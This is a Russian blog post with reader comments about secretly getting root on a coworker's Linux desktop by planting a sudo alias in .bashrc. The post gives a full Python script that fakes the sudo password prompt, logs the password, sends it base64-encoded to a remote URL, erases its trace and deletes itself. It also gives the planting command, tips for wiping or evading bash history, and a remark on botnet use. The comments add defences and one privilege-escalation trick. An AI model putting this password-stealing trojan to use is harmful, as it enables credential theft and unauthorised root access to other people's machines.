Линукс — история одного взлома

imageПривет, мир!
Сегодня хотел бы поделиться с вами одной поучительной историей о том, как однажды мне удалось получить root-доступ к рабочему компьютеру коллеги и о том, как ужасающе просто оказалось это сделать.

Предыстория

Рабочий день проходил так, как обычно он проходит у любого среднестатистического разработчика: монитор, клавиатура, чай, печеньки… В общем, ничего выдающегося, как всегда, не предвиделось. Утомившись от продолжительной отладки приложения в Xdebug, я решил выйти из офиса и немного подышать свежим воздухом, чтобы хоть чуть-чуть привести голову (к тому времени уже «чугунную») в порядок.

Вернувшись за рабочее место я не успел еще приняться за работу, как вдруг с соседнего стола донесся ехидный голос коллеги:

— Слушай, похоже что у тебя идентификатор процесса браузера это XXXX, да?

Выполнив команду ps -A | grep opera, я увидел что pid действительно именно тот, о котором говорил коллега.

— Да, и что? — невозмутимым голосом ответил я.
— Ничего — сказал коллега и нажал «Enter» на клавиатуре своего компьютера. Окно моего браузера закрылось у меня на глазах.

Я тут же принялся искать процессы в системе, которые могли дать удаленный шелл. Это был не SSH.
Коллега намекнул что это nc (netcat), процесс которого, конечно же, незамедлительно был убит.
Мы оба посмеялись, обсудили этот забавный случай, выяснилось, что на самом деле взлома никакого и не было и что «nc» был запущен из-под моего пользователя в тот момент, пока меня не было на рабочем месте. Just for lulz.
Шутка в общем-то удалась, но подсознательно я решил, что так просто оставлять это дело нельзя, это был вызов!

Мякотка

Однажды в студеную зимнюю пору, аккурат перед самым Новым Годом, я решил что пришла пора взять реванш. Но на этот раз я хотел полностью захватить доступ к компьютеру — получить root.

Новогодние приготовления в офисе создавали изрядную суету и шум. Это был самый подходящий момент, поскольку коллега после произошедшего случая стал блокировать экран, когда отходил от рабочего места. Я знал, что сегодня именно тот день, когда вероятность того, что он забудет сделать блокировку, максимально высока.

Воспользовавшись небольшим «окном» в своем рабочем времени, я начал продумывать план действий по взлому. Основная проблема, которую надо было как-то решить это конечно же непосредственно получение учетной записи root, поскольку всё остальное всего лишь дело техники. Начался активный перебор идей о том, как вообще это можно сделать.

У коллеги стоял Linux Mint 14 «Nadia». Версия ядра — 3.5. Хоть ядро и не такое старое, вероятность быстро найти в свободном доступе работающий локальный эксплойт близка к нулю. Из служб у него кроме Apache толком ничего не стояло, да и Apache он закрыл для наружного доступа.

Откидывая идею за идеей, в итоге меня осенило! А что если попробовать самый простой и самый банальный bash alias?
Решив проверить свое предположение, запускаю у себя терминал (Debian Squeeze), создаю файл test.py с банальным print «Hello, world!», сохраняю в домашнем каталоге, выполняю команду:
alias sudo="$HOME/temp.py"

после этого набираю:
sudo mc

результат:
Hello, world!

Вот оно! Совершенно легальная «дыра» в безопасности. Банально, но эффективно.

А теперь скрипт!
#!/usr/bin/env python

# Т.к. нам нужно поменьше символов в скрипте, поступаемся священным PEP
# и фигачим весь импорт в одну строку (да простит меня Гвидо!)
import os, sys, time, subprocess, getpass, urllib, base64

url = 'http://example.com/log.php?data=%s'
user = getpass.getuser()
# Имитируем запрос пароля sudo
passwd = getpass.getpass("[sudo] password for %s: " % user)

msg = user + ':' + passwd
home = os.path.expanduser('~')
script = sys.argv[0]

# На всякий случай сохраняем пароль в файл
with open(os.path.join(home, ".xsession-name"), "a+") as f:
    f.write(msg + "\n")

# Самое вкусное - отсылаем пароль на наш gateway
urllib.urlopen(url % base64.b64encode(msg))

# Действуем незаметно как ниндзя - стираем строку об алиасе из bashrc
with open(os.path.join(home, '.bashrc'), 'r+') as f:
    lines = f.readlines()[:-1]
    f.seek(0)
    f.writelines(lines)
    f.truncate()

# Имитируем задержку при неправильно введенном пароле
time.sleep(2)
print "Sorry, try again"

# Вуаля! А теперь вызываем настоящий sudo
subprocess.call(['sudo'] + sys.argv[1:])
# Т.к. мы всё еще ниндзя, самоуничтожаемся и стираем этот скрипт с диска
os.system('pkill python & rm %s' % script)


Вкратце: скрипт имитирует запрос пароля sudo, перехватывает пароль и отсылает его на указанный сервер, где информация просто записывается в файл.

Воспользовавшись временным отсутствием коллеги на рабочем месте, я пересел за его компьютер и начал свою «спецоперацию»:

1. Создаем постоянный алиас в bashrc:
echo 'alias sudo="'$HOME'/.xsession-lock"' >> $HOME/.bashrc

2. Создаем файл с хитрым именем .xsession-lock, чтобы не бросалось в глаза при листинге /home/user, и сохраняем в него наш Python-скрипт.
3. Устанавливаем права на выполнение .xsession-lock — chmod +x
4. Чистим bash_history!

Первым делом после своего возвращения, коллега, ожидая подвоха, внимательно осмотрел bash_history, и ничего не заметив, начал работать.
Спустя какое-то время, я решил проверить лог-файл на удаленном сервере, который сохранял пароли, и вот она, рыба учетная запись моей мечты — root!
Конечно если быть точным, то на самом деле это пароль от рабочего пользователя коллеги, который давал мне возможность получить root и закрепиться в системе.

Позже я снова дождался когда коллега выйдет из офиса и «поколдовал» над его компьютером уже от имени root, но, к сожалению, неправильно рассчитал время и прокололся! Увы, попался с поличным прямо на месте «преступления».

Мы снова посмеялись, обсудили детали «взлома», а потом дружно и весело всем офисом отметили Новый Год.
Вот такая вот предновогодняя история.

Заключение

В свете того, что Valve выпустила steam под linux, появилась вероятность оттока «хомячков» в сторону Linux-систем и, вместе с тем, вероятность того, что господа из «black hat» нацелят свои взоры на Linux.

Поэтому хотелось бы, чтобы эта статья стала очередным напоминанием о том, что «спасение утопающих — дело рук самих утопающих».
Устанавливая Linux, не думайте о том, что Вы надели «памперс». Ответственность за безопасность Вашей информации всё еще лежит на Вас!

P.S. Описанный выше способ вполне может применяться и в автоматизированном виде, например при создании бот-сетей. По этому принципу вполне можно создать загрузчик, который будет лежать и покорно ждать, когда пользователь введет пароль, будь то sudo, или gksudo, а после уже превратит компьютер в «зомби-машину».
К тому же популярные дистрибутивы поставляются именно с такими настройками по-умолчанию, которые позволяют провернуть метод из данной статьи.
Надеюсь, что в скором времени в мире безопасности *nix систем все-таки ничего не поменяется и не начнут появляться какие-нибудь Lin'локеры и прочая ерунда.

P.P.S Привет Yanovsky!
Ads
AdBlock has stolen the banner, but banners are not teeth — they will be back

More

Comments 50

    +37
    И это называется взлом?!
      –5
      Понимаю, что заголовок достаточно «желтый», но как бы Вы это назвали?
        +11
        Как угодно, но только не «взлом». Где он тут собственно?
          –9
          Смотря что Вы понимаете под словом «взлом».
            +3
            Предлагаю сделать аналогичный «взлом». Без серверов и всякого.
            1. Загружаемся из под лайв-сд
            2. маунтим всё что нужно
            3. делаем chroot
            4.…
            5. Profit.

            Да. Еще можно с помощью отвёртки брутально снять боковую крышку у ПК. «Взлом» нет?
              –3
              Это не спортивно!
              Интерес был в том, чтобы получить доступ к компьютеру именно через работающий экземпляр системы.
            –4
            Доставайте ссылку на определение — и доказывайте, по пунктам по чему сиё не есть взломом.
            Можно даже законодательство притянуть — благо, в России, определены термины, соответствующие понятию «взлом»
          +6
          Большая часть серьёзных взломов содержит в себе социальные элементы. И не всегда помощью регламента можно этого избежать.
          Да — это однозначно взлом. Смешной, если читать. И очень серьёзный, если рассматривать регламенты и политики безопасности. Мне к примеру не смешно.

          А у Вас — все ли блокируют экран отойдя на горшок?
            –1
            Приношу извинения, что не могу плюсануть, т.к. добрый хабр как обычно слил мне всю карму, несмотря на то, что это в общем-то моя первая статья здесь.
            Я действительно старался разбавить статью юмором, но лично мне тоже нифига не смешно, что моя рабочая система может быть скомпрометирована таким вот образом.

            Предвкушая ответы товарищей, подобных вот этому, подписанных глубокоуважаемым Кэпом, хочу напомнить, что не все пользователи Linux — админы, также как и не все админы — пользователи Linux.

            Поэтому, в первую очередь, этой статьей хотел предупредить как раз тех самых обычных пользователей.
          +3
          именно поэтому, нужно всегда писать полный путь до таких команд как su\sudo, тex. /bin/su,
          а также, в PATH не помещают "." < — точку.
          это азы выживания начинающего админа,

          Кэп
            +6
            Social cracking с элементами python, хотя вполне хватило бы самого bash. А так интригующе звучало название статьи…
              0
              Весёлая статья. Нужно было в пятницу постить.
              +4
              Автору статьи на заметку — если перед командой набирать пробел, то она не попадет в history.
              А то пустое хистори могло насторожить вашего коллегу :)
                +1
                Не всегда. Зависит от настроек шелла, таких, как в этом посте.
                  +1
                  Век живи — век учись… Недавно узнал про лазейку, которая позволяет получить рута пользователю, которому дали права только на less файлов…
                    +1
                    Расскажите поподробнее, пожалуйста
                      0
                      Вот Вам how-to с картинками — www.computersecuritystudent.com/UNIX/SUDO/lesson2/index.html
                        0
                        Ну да, ниже выше уже дали ссылку.
                        В общих чертах — у пользователя есть права на запуск less
                        Делаем less /etc/hosts к примеру и внутри пишем! и Enter. Нас выкидывает в оболочку (bash) с правами рута. Если посмотреть на ман комманды, то таки да, это так:
                        ! shell-command
                        Invokes a shell to run the shell-command given. A percent sign (%) in the command is replaced by the name of the current file. A pound sign (#) is replaced by the name of the previously examined file. "!!" repeats the last shell command. "!" with no shell command simply invokes a shell. On Unix systems, the shell is taken from the environment variable SHELL, or defaults to «sh». On MS-DOS and OS/2 systems, the shell is the normal command processor.

                        Блокируется это каким-то способом через sudoers, сейчас постараюсь найти ту статью :)
                    0
                    Я успел удалить из баш хистори как раз те команды, которыми выполнял установку скриптов. Т.е. для коллеги в хистори ничего не поменялось)
                      0
                      Именно слова про bash_history испортили мне впечатление о квесте. В следующий раз попробуйте unset HISTFILE в качестве первой комманды )
                        0
                        Спасибо за заметку! На самом деле поскольку дело было на работе, я был немного ужат в сроках сего действа, поэтому пошел по пути «наименьшего сопротивления» и применил только то, о чем имел знания на тот момент) Теперь буду использовать Ваш метод, он действительно удобнее))
                      0
                      Кстати, если в bash'е перед командой поставить бэкслеш (\), то будет выполнен не alias, function и т.п., а именно команда из PATH.
                      +33
                      Первым делом после своего возвращения, коллега, ожидая подвоха, внимательно осмотрел bash_history, и ничего не заметив, начал работать

                      Какая-то нездоровая атмосфера у вас на работе…
                        +2
                        Ну вообще логично было это сделать, когда коллега обнаружил машину незаблокированной
                          +5
                          Раньше девушка-коллега развлекалась установкой неприличных обоев, пока нас не было на рабочем месте. Лечится установкой ей тех же самых обоев, блокированием закладки «сменить обои», пункта меню «сделать обоиной» и блокированием реестра.
                            +11
                            Полагаю вы не так поняли коллегу :)
                              +3
                              Полагаю там не были изображены натуралы.
                                0
                                У меня не было оснований полагать это
                            0
                            так а из текста это не следует. Я так понял что коллега сам забыл заблокировать.
                            +1
                            Вот уж точно… Нет, я всегда лочу машинку, когда отхожу дальше, чем не пару метров, но это больше дань секьюрити и привычке, нежели защите от коллег… При чём бОльшая часть немногочисленных моих коллег и так имеет sudo на моей станции (как и я на их), иначе на кой такие коллеги, что доверять друг другу нельзя…
                            +4
                            Вообще, пользователю, если он не админ, на линуховой машине рутовые права нафиг не нужны и, как показал ваш эксперимент, даже вредны. В крайнем случае, можно дать разрешения на определенный набор команд.

                            Ну и называть «взломом» ситуацию, когда у вас есть физический доступ к машине и рабочая сессия пользователя как-то наивно, что-ли :)
                              0
                              Программистам вполне себе нужны. У нас вообще правило — каждый свой рабочий комп настраивает сам.
                                0
                                Я программист и у нас правило: каждый занимается своим делом и компы «настраивает» админ. Рутовые права у меня только на apt-get и dpkg. Другие не понадобились ни разу. Честно говоря и эти то были нужны ровно 1 день, когда софт нужный мне ставил. Все остальные настройки «под себя» производятся с правами пользователя.
                                  0
                                  Нет, базовую настройку, вроде ввода машины в домен, конечно должны проводить админы. Но всё, что дальше — уже заботы конечного пользователя, потому как иначе придется держать очень большой штат админов только для компов сотрудников.
                                    0
                                    Ну так «все остальное» без рутовых прав «на все» прекрасно настраивается. Если речь про линукс
                              +1
                              Отсюда вывод — не хочешь, чтобы у тебя на машине колдовали — блокируй комп.
                                0
                                Я бы сказал, что это только одно из.
                                Дело в том, что описанным мной методом можно получить root вполне себе и удаленно, конечно при условии что жертва пользуется командой sudo в обычном виде (т.е. не по полному пути, как советовали в комментарии выше).
                                Для этого достаточно каким-либо образом запустить исполняемый код на целевой машине. Например можно заставить пользователя установить расширение для Firefox, которое будет внутри себя содержать исполняемый файл, который и установит такую «закладку» в систему. И всё это вполне возможно сделать в рамках обычной учетной записи пользователя, т.е. без запроса на повышение привилегий.

                                P.S. Да тот же Wine, если я не ошибаюсь, дает возможность редактировать файлы в пределах учетной записи пользователя, т.е. можно предложить пользователю запустить модифицированный пасьянс «Косынка», например)
                                  +1
                                  При наличии физического доступа к компьютеру спасает только физический замок, и то не всегда.

                                  У многих ли на груб стоят пароли, на биос, чтобы нельзя было грузонутся с флешки. Каждый ли проверяет не ставили ли кейлогер на физ. клавиатуру. Нет ли скрытой камеры или микрофона. Может где-то стоит датчик вибраций. Может на стенку рядышком лазер или направленный микрофон стоит. Может еще 1000 вещей быть с помощью которых это всё можно поломать.

                                  Знаете — а ведь снять вибрации, из окна здания в другом квартале. Произвести частоный анализ, найти сигнатуры. И просто записывать всё, что вы вводите с клавиатуры — это не только не фантастика, а даже детский лепет по стравнению с другими методами спецслужб.
                                +1
                                Если лень блокировать компьютер, советую посмотреть в сторону BlueProximity + Телефон.

                                Автору же, изменить код с:
                                # Вуаля! А теперь вызываем настоящий sudo
                                subprocess.call(['sudo'] + sys.argv[1:])
                                # Т.к. мы всё еще ниндзя, самоуничтожаемся и стираем этот скрипт с диска
                                os.system('pkill python & rm %s' % script)
                                

                                на:
                                os.unlink(__file__)
                                os.execv('/usr/bin/sudo', ['/usr/bin/sudo'] + sys.argv[1:])
                                
                                  0
                                  Спасибо за комментарий! Посмотрел BlueProximity — действительно интересное приложение.
                                  А код протестирую и подправлю.
                                  0
                                  Где-то я читал про подобный способ перехвата паролей.
                                  Только там скриптик с аналогичным именем (su/sudo) клался в $HOME/bin (так как большинство современных дистрибутивов ныне добавляют это в $PATH)
                                    0
                                    Сейчас посмотрел у себя (Elementary OS luna/Ubuntu 12.04), к счастью ничего про $HOME/bin нет. Было бы здорово, если бы Вы смогли найти ссылку на эту статью.
                                  +5
                                  поставьте уже zsh и включите подсветку синтакисиса. Алиасы по дефолту будут розовым, команды зеленым


                                  PS ногами не бить, флаг -a по инерции поставил)
                                    0
                                    В отдельных компаниях рекомендуется блокировать экран, когда отходишь от него более чем на пару минут. А другие способы «взлома» — установка плагина, перезагрузка системы и сброс пароля — могут быть чреваты последствиями. Например, если есть NDA и IT-отдел, следящий за безопасностью.

                                    ps -A | grep opera
                                    

                                    pgrep opera
                                    
                                      +1
                                      Чем дольше длится безделье, тем разрушительнее его последствия.

                                      Я не специалист по взломам, но поддержу — не похоже на взлом.
                                      Это как на баше, «взлом сервера при помощи рутового пароля к серверу»
                                        +1
                                        Несмотря на то, что это не является взломом в его привычном понимании, многие люди, имеющие дело с Linux даже не задумываются о подобных вещах. Статья заставляет их задуматься, читать дополнительно материал на эту тему, копать глубже, лучше понимая что происходит в системе. Это совершенно точно полезно.
                                        В последнее время Linux распространяется на десктопах достаточно широко, и общий уровень образованности Linux-пользователя катастрофически падает. Усугубляют дело горе админы, для упрощения объяснений сообщающие пользователям, что «достаточно не вводить sudo где попало, и все будет хорошо». Без понимания пользователей, что такое «sudo» — не будет. Хорошо не будет.

                                        Быть может только вот формат статьи не совсем правильный, но это я оставлю на усмотрение автора.
                                          –2
                                          Вполне достойная статья для публикации в журнале XAKEP.
                                          Особенно впечатляет способ передачи пароля от соседнего компа через http! — Это просто находка юного взломщика.

                                          Кстати, а свой переходничок для клавиатуры не пробовали паять? А еще можно шлейфик на винте ненадолго передернуть и в какой-нибудь Raspberry Pi воткнуть на минутку.

                                            0
                                            Расходимся ребята, нас накололи.
                                              0
                                              А разве это не преследуется по закону, как неправомерный доступ к информации, например?

                                              Only users with full accounts can post comments. Log in, please.